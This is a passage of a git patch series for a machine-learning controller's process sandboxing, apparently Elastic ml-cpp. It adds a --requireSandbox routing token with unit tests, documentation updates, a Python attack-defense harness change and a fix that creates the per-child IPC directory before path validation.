sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand(15, PROCESS_PATH, copyArgs(TARGET_FILE))}; + std::string command{startCommand( + 23, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--requireSandbox", "--requireSandbox"}))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -598,37 +586,98 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnfor BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); std::string response{responseStream.str()}; - BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); - BOOST_TEST_REQUIRE(response.find("Failed to start process") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("\"id\":23,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); } -BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { - // Exactly "1" is the one canonical truthy spelling. Anything else must - // leave the option off, i.e. keep the legacy default - proven with the - // same fail-closed vector as above: with the option genuinely on the - // command fails, so a *succeeding* command is proof it stayed off. - for (const char* value : {"true", "TRUE", "yes", "0", ""}) { - const std::string TARGET_FILE{"sandbox2_default_non_canonical_out.txt"}; - std::remove(TARGET_FILE.c_str()); +BOOST_AUTO_TEST_CASE(testStartRejectsRequireSandboxTokenOnNonSandboxedPath) { + // Symmetric with testStartRejectsDisableSandboxTokenOnNonSandboxedPath: + // --requireSandbox is only meaningful for the exact configured sandboxed + // path; on any other permitted process it must be rejected, not + // silently ignored or passed through. + const std::string TARGET_FILE{"single_reject_require_sandbox_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); - std::ostringstream responseStream; - { - CScopedSandbox2DefaultEnforced notEnforced{value}; + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty: PROCESS_PATH not sandboxed + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; - ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, - responseStream}; + std::string command{startCommand( + 24, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; - std::string command{startCommand(17, PROCESS_PATH, copyArgs(TARGET_FILE))}; + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } - BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); - } + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); - std::this_thread::sleep_for(std::chrono::seconds{1}); - BOOST_REQUIRE_EQUAL(false, fileAbsent(TARGET_FILE)); - std::remove(TARGET_FILE.c_str()); + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":24,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("only valid for the configured sandboxed process") != + std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsBothRoutingTokensPresentTogether) { + // A start command must never be ambiguous about its own route: naming + // both --disableSandbox and --requireSandbox together is rejected + // outright, not resolved by precedence between them. + const std::string TARGET_FILE{"both_routing_tokens_reject_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 25, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":25,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("mutually exclusive") != std::string::npos); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testStartRequireSandboxTokenSelectsSandbox2RouteAndFailsClosed) { + // A validated --requireSandbox token on the configured sandboxed path + // selects the Sandbox2 route (no automatic legacy fallback). On a build + // with no Sandbox2 support, CProcessSpawnerRouter fails closed for that + // route - observed here as the command failing rather than the copy + // succeeding, which is exactly how we know Sandbox2 (not legacy) was + // selected: had the route been E_Legacy, this copy would have succeeded + // (see testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath, + // which is the same vector with no token at all). + const std::string TARGET_FILE{"sandbox2_route_selected_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{ + startCommand(15, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("Failed to start process") != std::string::npos); } #endif // !SANDBOX2_AVAILABLE diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index e05903a855..e801780cc6 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -466,28 +466,29 @@ BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonKillSwitch) { BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); - BOOST_REQUIRE(logged.find("\"legacy_reason\":\"dormant_default\"") == std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"no_token_default\"") == std::string::npos); } -BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonDormantDefault) { - // E_DormantDefault: no token was needed at all - the legacy route is - // simply still the default because ML_SANDBOX2_DEFAULT_ENFORCED is off. +BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonNoTokenDefault) { + // E_NoTokenDefault: neither routing token was present at all - this is + // the permanent behaviour for a caller that sends no routing token, not + // a rollout-dormancy switch. ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; - ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-dormant"}; + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-no-token"}; ml::core::CProcess::TPid childPid{0}; std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, args, childPid, - ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault)); })}; BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); - BOOST_REQUIRE(logged.find("\"legacy_reason\":\"dormant_default\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"no_token_default\"") != std::string::npos); BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); } @@ -496,7 +497,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalIncludesSandboxCompiledInField) { // sandbox::CMlSandboxAvailability::isCompiledIn()), not per-launch // state, so - unlike legacy_reason - it must appear on every emitted // signal line regardless of route/mode. It is what lets a consumer - // distinguish "Sandbox2 supported but dormant" from "built without + // distinguish "Sandbox2 supported but no token yet" from "built without // Sandbox2 support at all", which the other fields alone cannot. ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; @@ -508,7 +509,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalIncludesSandboxCompiledInField) { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, args, childPid, - ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault)); })}; #ifdef SANDBOX2_AVAILABLE diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 9494103f21..9bd22bb75b 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -300,27 +300,23 @@ int main(int argc, char** argv) { // in-process seccomp installation, exactly as before typed routing). // // Turning it on is only safe once a degraded/legacy-route launch is - // guaranteed to be a deliberate decision rather than the production - // default. CProcessSpawnerRouter supplies half of that - // guarantee - it never falls back to the legacy spawner after a failed - // Sandbox2 attempt - but the controller currently *defaults* the - // no-token case to the legacy route while ML_SANDBOX2_DEFAULT_ENFORCED - // is off (the shipped, dormant state; see - // bin/controller/CCommandProcessor.cc). So during the dormant window - // every ordinary pytorch_inference launch is a degraded-route launch, - // and terminating on seccomp-install failure would fail every launch on - // a host lacking usable seccomp BPF (restricted containers, some CI - // images) with no operator fallback setting to select instead - a - // regression on exactly the launches the dormant window must leave - // untouched. + // guaranteed to be a deliberate decision rather than an unrequested + // default. CProcessSpawnerRouter supplies half of that guarantee - it + // never falls back to the legacy spawner after a failed Sandbox2 + // attempt - but the controller's no-token case still always takes the + // legacy route (see bin/controller/CCommandProcessor.cc), and a caller + // that omits both routing tokens is not necessarily choosing that + // deliberately. So an ordinary launch with no explicit token is a + // degraded-route launch, and terminating on seccomp-install failure + // would fail every launch on a host lacking usable seccomp BPF + // (restricted containers, some CI images) with no fallback to select + // instead. // - // Activate this together with the change that stops the legacy route - // being the default - i.e. when this constant is tied to the same - // ML_SANDBOX2_DEFAULT_ENFORCED-style gating, or when the Elasticsearch - // operator setting lands and flips the default to Sandbox2. At that - // point a degraded launch really is only ever reachable via an - // explicit, controller-validated --disableSandbox token, which is what - // makes hard termination safe. + // Activate this once every caller that matters (in practice, + // Elasticsearch) always sends an explicit --disableSandbox or + // --requireSandbox token per launch, so a degraded launch really is + // only ever reachable via an explicit, controller-validated + // --disableSandbox token, which is what makes hard termination safe. constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{false}; // The in-process filter belongs to the legacy/non-sandboxed route only. diff --git a/build.gradle b/build.gradle index 9d19d716fb..f53fb39547 100644 --- a/build.gradle +++ b/build.gradle @@ -210,10 +210,10 @@ task buildZip(type: Zip) { // nested under 3rd_party/) so Elasticsearch can assert against a // well-known top-level path in the -deps zip. Bump the integer inside // 3rd_party/controller-protocol.version (not merely its existence) on any - // future breaking change to either (a) the controller's --disableSandbox - // token semantics (controller-only metadata, never forwarded to the - // child), or (b) the per-child IPC route contract - // ($TMPDIR/ml-child-ipc/ -> /run/elastic/ml-ipc). + // future breaking change to either (a) the controller's + // --disableSandbox/--requireSandbox token semantics (controller-only + // metadata, never forwarded to the child), or (b) the per-child IPC route + // contract ($TMPDIR/ml-child-ipc/ -> /run/elastic/ml-ipc). from("3rd_party") { include "controller-protocol.version" } diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index 7efebe3a5f..ec9af4ce00 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -30,49 +30,55 @@ single-line JSON object. | `event` | string | Always `"sandbox2_launch"`. | | `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, from a single `sandbox::validateChildIpcLaunchSpec()` call made **once per `spawn()`, before dispatch**, so the value cannot disagree with the state the dispatch decision was taken against and is populated on the `degraded`/`fail_closed` modes too. Empty string (`""`, explicit, never omitted) only when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present at all. Control characters, quotes and backslashes are JSON-escaped so the line stays single-line JSON. | | `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. Escaped as for `deployment_id`. | -| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the controller selected `E_Legacy` - either via the operator kill-switch (`--disableSandbox`) or via the dormant no-token default (see "Dormant no-token default" below). | -| `legacy_reason` | string | **Only present when `route == "legacy"`** (equivalently, `mode == "degraded"`); **omitted entirely** - never `""`, never `null` - on `route == "sandbox2"`, i.e. on both `enforced` and `fail_closed`. `"kill_switch"` when a validated `--disableSandbox` token selected the legacy route, `"dormant_default"` when no token was needed and `ML_SANDBOX2_DEFAULT_ENFORCED` simply is not enabled. Provenance is passed in by `CCommandProcessor` (the only place it is known); the router never derives it from `args`. | +| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the controller selected `E_Legacy` - either via the operator kill-switch (`--disableSandbox`), the operator opt-in (`--requireSandbox`) selecting Sandbox2 instead, or the no-token default (see "No-token default" below). | +| `legacy_reason` | string | **Only present when `route == "legacy"`** (equivalently, `mode == "degraded"`); **omitted entirely** - never `""`, never `null` - on `route == "sandbox2"`, i.e. on both `enforced` and `fail_closed`. `"kill_switch"` when a validated `--disableSandbox` token selected the legacy route, `"no_token_default"` when neither routing token was present. Provenance is passed in by `CCommandProcessor` (the only place it is known); the router never derives it from `args`. | | `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | | `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | -| `sandbox2_compiled_in` | boolean | JSON boolean. Sourced from `sandbox::CMlSandboxAvailability::isCompiledIn()`, computed once (a build-time-constant fact, not per-launch state) and included on **every** emitted line, unlike `legacy_reason` which is conditional on route. Lets a consumer distinguish "Sandbox2 supported but dormant" (`route == "legacy"`, `legacy_reason == "dormant_default"`, `sandbox2_compiled_in == true`) from "built without Sandbox2 support at all" (`sandbox2_compiled_in == false`) - both otherwise emit identical `legacy`/`dormant_default`/`degraded` signals for every plain launch. | +| `sandbox2_compiled_in` | boolean | JSON boolean. Sourced from `sandbox::CMlSandboxAvailability::isCompiledIn()`, computed once (a build-time-constant fact, not per-launch state) and included on **every** emitted line, unlike `legacy_reason` which is conditional on route. Lets a consumer distinguish "Sandbox2 supported but no routing token sent" (`route == "legacy"`, `legacy_reason == "no_token_default"`, `sandbox2_compiled_in == true`) from "built without Sandbox2 support at all" (`sandbox2_compiled_in == false`) - both otherwise emit identical `legacy`/`no_token_default`/`degraded` signals for every plain launch. | `legacy_reason` exists because `mode == "degraded"` alone conflates a -deliberate operator kill-switch launch with the dormant default that is in -effect for the entire rollout window - during that window every ordinary -launch is `degraded`, so the mode carries no diagnostic information on its -own. It is additive: `event`/`deployment_id`/`model_id`/`route`/ +deliberate operator kill-switch launch with the permanent no-token +default - a caller that never sends either routing token always produces +`degraded`, so the mode carries no diagnostic information on its own. It is +additive: `event`/`deployment_id`/`model_id`/`route`/ `sandbox2_established`/`mode` and their semantics are unchanged. **`mode` mapping** (binding rule): -- `enforced` - `route == "sandbox2"` (no operator kill-switch token) and the - Sandbox2 spawn returned `true`. +- `enforced` - `route == "sandbox2"` (a validated `--requireSandbox` token, + or - historically, before that token existed - the no-token default with + the now-removed internal enforcement seam) and the Sandbox2 spawn returned + `true`. - `fail_closed` - `route == "sandbox2"` and the spawn returned `false` (includes the build/deployment contradiction case where `processPath` is configured as sandboxed but this build has no Sandbox2 support). - `degraded` - `route == "legacy"` (operator kill-switch token present and - validated, or the dormant no-token default in effect), regardless of - whether the legacy spawn itself succeeded or failed. `legacy_reason` names - which of the two it was, and is emitted only on this mode. - -### Dormant no-token default - -A `start` command with **no** `--disableSandbox` token for a configured -sandboxed process path selects the **legacy** route unless the internal -controller option `ML_SANDBOX2_DEFAULT_ENFORCED` is set to exactly `1`. -Anything else (unset, `""`, `0`, `true`) leaves it off. Off is the shipped -default, so this rollout starts dormant: a plain `pytorch_inference` launch -behaves exactly as it did before typed routing existed, on every platform, -including builds without Sandbox2 support. With the option on, the same -command requires Sandbox2 and never falls back to the legacy spawner. - -`ML_SANDBOX2_DEFAULT_ENFORCED` is an internal seam, not an operator setting; -the change that turns it on is the Elasticsearch-side default-false feature -flag, not ml-cpp. + validated, or the no-token default in effect), regardless of whether the + legacy spawn itself succeeded or failed. `legacy_reason` names which of + the two it was, and is emitted only on this mode. + +### No-token default + +The command wire format defines exactly two routing tokens: +`--disableSandbox` (operator kill-switch, forces the legacy route) and +`--requireSandbox` (operator opt-in, forces the Sandbox2 route - no +automatic legacy fallback). They are mutually exclusive; a `start` command +naming both is rejected outright rather than resolved by precedence, and +each is separately rejected if repeated. + +A `start` command with **neither** token for a configured sandboxed process +path always selects the **legacy** route. This is the permanent behaviour +for any caller that sends no routing token - not a temporary rollout +seam - so a plain `pytorch_inference` launch behaves exactly as it did +before typed routing existed, on every platform, including builds without +Sandbox2 support. Elasticsearch is expected to always send exactly one of +the two tokens, chosen from the live value of its own operator setting at +launch time, so this branch exists for non-ES callers (support/debug +scripts, direct controller invocation) and the test harness. Provenance lines (`LOG_INFO`/`LOG_DEBUG`, `bin/controller/CCommandProcessor.cc`) -name which of the two decided a legacy route - the router itself only ever -sees an already-decided route and never claims a kill switch that was not +name which token (if any) decided the route - the router itself only ever +sees an already-decided route and never claims a token that was not present. ### In-process seccomp is legacy-route only @@ -99,17 +105,17 @@ sandboxees. Hard termination on a failed in-process seccomp installation (`TERMINATE_ON_DEGRADED_SECCOMP_FAILURE` in -`bin/pytorch_inference/Main.cc`) is deliberately **off** while the legacy -route is still the production default: during the dormant window every -ordinary launch is a degraded-route launch, so terminating would fail every -launch on a host without usable seccomp BPF. It becomes safe to activate at -the same time the default stops being legacy. +`bin/pytorch_inference/Main.cc`) is deliberately **off**: an ordinary launch +with no explicit routing token is a degraded-route launch, so terminating +would fail every launch on a host without usable seccomp BPF. It becomes +safe to activate once every caller that matters always sends an explicit +`--disableSandbox` or `--requireSandbox` token per launch. Example: ```json {"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced","sandbox2_compiled_in":true} -{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"dormant_default","sandbox2_established":false,"mode":"degraded","sandbox2_compiled_in":true} +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"no_token_default","sandbox2_established":false,"mode":"degraded","sandbox2_compiled_in":true} ``` Emission site: `bin/controller/CProcessSpawnerRouter.cc`, @@ -151,14 +157,14 @@ cannot find it), and a per-case cleanup assertion (`kill ` against the controller reports failure once the case ends, proving the child was reaped). -Because the shipped no-token default is the legacy route, the harness starts -the controller with `ML_SANDBOX2_DEFAULT_ENFORCED=1` in its environment, and -each case asserts the route reported by that launch's own `sandbox2_launch` -signal (`sandbox2` for the sandboxed cases, `legacy` for the -`--disableSandbox` control) **before** any target-file assertion. Without -both, a sandboxed case could route to the legacy path and still show "no -target file" for entirely the wrong reason - a false pass on the security -proof. +Because the no-token default is always the legacy route, the harness sends +an explicit `--requireSandbox` token on every sandboxed case's `start` +command (and `--disableSandbox` on the positive-control case), and each case +asserts the route reported by that launch's own `sandbox2_launch` signal +(`sandbox2` for the sandboxed cases, `legacy` for the `--disableSandbox` +control) **before** any target-file assertion. Without both, a sandboxed +case could route to the legacy path and still show "no target file" for +entirely the wrong reason - a false pass on the security proof. **Command:** diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index 11426b4a03..ad6dc65a76 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -93,11 +93,12 @@ enum class EDegradedModeAction { //! guaranteed to be a deliberate route decision rather than the production //! default. bin/controller's CProcessSpawnerRouter provides half of that //! guarantee (it never retries a failed Sandbox2 spawn through the legacy -//! spawner), but while CCommandProcessor's no-token default is still the -//! legacy route - the shipped, dormant state, gated on -//! ML_SANDBOX2_DEFAULT_ENFORCED - an ordinary launch *is* a degraded-route -//! launch, so bin/pytorch_inference/Main.cc passes false. See the comment -//! at TERMINATE_ON_DEGRADED_SECCOMP_FAILURE there for when it flips. +//! spawner), but while CCommandProcessor's no-token case still always +//! routes to legacy, and no caller is yet guaranteed to always send an +//! explicit --disableSandbox/--requireSandbox token, an ordinary launch +//! *is* a degraded-route launch, so bin/pytorch_inference/Main.cc passes +//! false. See the comment at TERMINATE_ON_DEGRADED_SECCOMP_FAILURE there +//! for when it flips. //! This decision only ever //! applies to a launch that installs its own in-process filter at all - see //! sandbox2LaunchedChild() and applyInProcessSeccompFilter() below. diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py index 565479a321..fcb5a1962c 100644 --- a/test/test_sandbox2_attack_defense.py +++ b/test/test_sandbox2_attack_defense.py @@ -446,20 +446,6 @@ def open_stdin_for_controller(): env = dict(os.environ) env['TMPDIR'] = str(child_tmp_base) - # The controller's no-token default route is the *legacy* - # (unsandboxed) path unless this internal option is exactly "1" - # - the shipped, dormant state (see - # bin/controller/CCommandProcessor.cc). Every "sandboxed" case - # here sends a plain `start` with no --disableSandbox token, so - # without this the sandboxed cases would run on the legacy path - # and the harness's negative assertion ("the malicious model's - # target file must not exist") would be checked against a child - # that was never sandboxed at all - a false pass on a security - # proof. Set on the controller's own environment rather than - # relying on the invoker (dev-tools/run_sandbox2_attack_defense.sh - # only execs this script), so the harness is self-contained. - env['ML_SANDBOX2_DEFAULT_ENFORCED'] = '1' - self._start_controller_with_stdin(stdin_fd, env) time.sleep(0.3) @@ -841,8 +827,16 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, '--skipModelValidation', f'--modelid={label}', ] - if unsandboxed: - cmd_args.append('--disableSandbox') + # Explicit intent instead of a global-default side channel: every + # "sandboxed" case sends --requireSandbox rather than relying on a + # no-token default, so the routing decision here is the same one + # Elasticsearch is expected to make per-launch (see + # bin/controller/CCommandProcessor.cc). Without this, a "sandboxed" + # case landing on the legacy path would make the harness's negative + # assertion ("the malicious model's target file must not exist") + # meaningless - checked against a child that was never sandboxed at + # all. + cmd_args.append('--disableSandbox' if unsandboxed else '--requireSandbox') result.info(f"Sending start command (id={command_id}) for {label}...") response = controller.send_command_and_wait(command_id, 'start', cmd_args) @@ -859,7 +853,7 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, # Routing assertion, BEFORE any boundary assertion: the case is only # evidence about Sandbox2 if the controller actually routed this # launch the way the case intends. A sandboxed case that silently - # landed on the legacy path (e.g. ML_SANDBOX2_DEFAULT_ENFORCED not + # landed on the legacy path (e.g. --requireSandbox not # reaching the controller, or a route-decision regression) would # still show "no target file" - for the wrong reason. Fail loudly # here instead. From 43b56fb8d7099b84e0c21457f497c8a6983058dd Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Fri, 11 Sep 2026 12:20:21 +0200 Subject: [PATCH 29/36] [ML] clang-format fixes for requireSandbox change Two line-wrapping violations from f8c05c86f, caught by CI's check-style step (clang-format 5.0.1). Docker-based local verification: the platform-mismatch warning on arm64 previously caused the check to silently no-op; forcing --platform linux/amd64 makes it actually run and confirms all 9 touched files are clean. --- bin/controller/CCommandProcessor.cc | 8 ++++---- bin/controller/unittest/CCommandProcessorTest.cc | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index 036c0805b1..ebe1a0d837 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -148,8 +148,8 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { } if (disableSandboxCount == 1 && requireSandboxCount == 1) { - std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + "' and '" + - REQUIRE_SANDBOX_TOKEN + + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + + "' and '" + REQUIRE_SANDBOX_TOKEN + "' are mutually exclusive, both specified for process '" + processPath + '\''}; LOG_ERROR(<< error << " in command with ID " << id); @@ -226,8 +226,8 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { route = CProcessSpawnerRouter::ERoute::E_Legacy; legacyReason = CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault; LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: neither " - << DISABLE_SANDBOX_TOKEN << " nor " << REQUIRE_SANDBOX_TOKEN - << " token was present"); + << DISABLE_SANDBOX_TOKEN << " nor " + << REQUIRE_SANDBOX_TOKEN << " token was present"); } } diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 79361cccca..93e3626b34 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -667,8 +667,8 @@ BOOST_AUTO_TEST_CASE(testStartRequireSandboxTokenSelectsSandbox2RouteAndFailsClo ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{ - startCommand(15, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; + std::string command{startCommand( + 15, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } From fd4d9a5918c8e23be7e2b00094f41f972c7af0c6 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Fri, 11 Sep 2026 16:06:07 +0200 Subject: [PATCH 30/36] Create the per-child IPC directory before validating its paths CSandboxedProcessSpawner_Linux.cc's spawn() rejects every sandboxed pytorch_inference launch with E_CanonicalizationFailed, because validateChildIpcLaunchSpec() calls realpath() on $TMPDIR/ml-child-ipc/ before that directory has ever been created. realpath() requires its target to exist, so this failed for every child-id, every time - it was not a mis-ordering of an existing creation step, the creation step itself did not exist anywhere in production code. Comments in CPytorchInferenceSandboxPolicy.h/.cc and CProcessSpawnerRouter.cc already asserted "the native controller creates the per-child ml-child-ipc/ directory (mode 0700) before policy construction", but grepping the whole tree for mkdir/create_directories under lib/sandbox and bin/controller only turns up test fixtures (CPytorchInferenceSandboxPolicyTest.cc, CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc, CSandboxedProcessSpawnerLifecycleTest_Linux.cc, CProcessSpawnerRouterTest.cc) creating the directory by hand before calling into this code - no production code ever did. The same validateChildIpcLaunchSpec() function has a second production call site with the identical problem: CProcessSpawnerRouter::spawn() calls it (via deriveDeploymentId()) to derive the deployment id for the sandbox2_launch log signal, before dispatching to either the legacy or Sandbox2 backend - so the signal's deployment_id field was silently empty on every launch too. Fix: add ensureChildIpcDirectory() to CPytorchInferenceSandboxPolicy, which derives the single child-id implied by the launch's --input=/--output=/--restore=/--logPipe= arguments (a literal, pre-canonicalization structural match against $TMPDIR/ml-child-ipc/ - it is not a security check; validateChildIpcLaunchSpec()'s canonical-base/symlink/depth checks still run afterwards against whatever this creates or finds) and mkdir()s it with mode 0700. Call it at both call sites, before validateChildIpcLaunchSpec(). It is idempotent: an already-existing directory (a retry/restart reusing the same child-id) is success, not an error. A creation failure for any other reason (permissions, ENOSPC, ...) is reported as a distinct outcome and logged at the spawner call site, then still flows into the existing E_CanonicalizationFailed rejection path, so a failed mkdir() fails the spawn cleanly rather than crashing or silently proceeding without the directory it needs. Extends CPytorchInferenceSandboxPolicyTest.cc with three cases against the real (missing-directory) scenario: validation fails before the directory exists, ensureChildIpcDirectory() then makes it and validation succeeds with the mode verified as 0700, a second call for the same child-id is a no-op success (retry/restart), and an unwritable trusted base makes ensureChildIpcDirectory() report E_CreationFailed with validation still failing closed afterwards. --- bin/controller/CProcessSpawnerRouter.cc | 13 +++ .../sandbox/CPytorchInferenceSandboxPolicy.h | 44 +++++++ lib/sandbox/CPytorchInferenceSandboxPolicy.cc | 107 ++++++++++++++++- lib/sandbox/CSandboxedProcessSpawner_Linux.cc | 20 +++- .../CPytorchInferenceSandboxPolicyTest.cc | 108 ++++++++++++++++++ 5 files changed, 289 insertions(+), 3 deletions(-) diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index af380dd927..c37ce7e009 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -107,6 +107,19 @@ std::string jsonEscape(const std::string& s) { std::string deriveDeploymentId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { const char* tmpDirEnv{::getenv("TMPDIR")}; const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + // validateChildIpcLaunchSpec() does live ::realpath() calls, which + // require 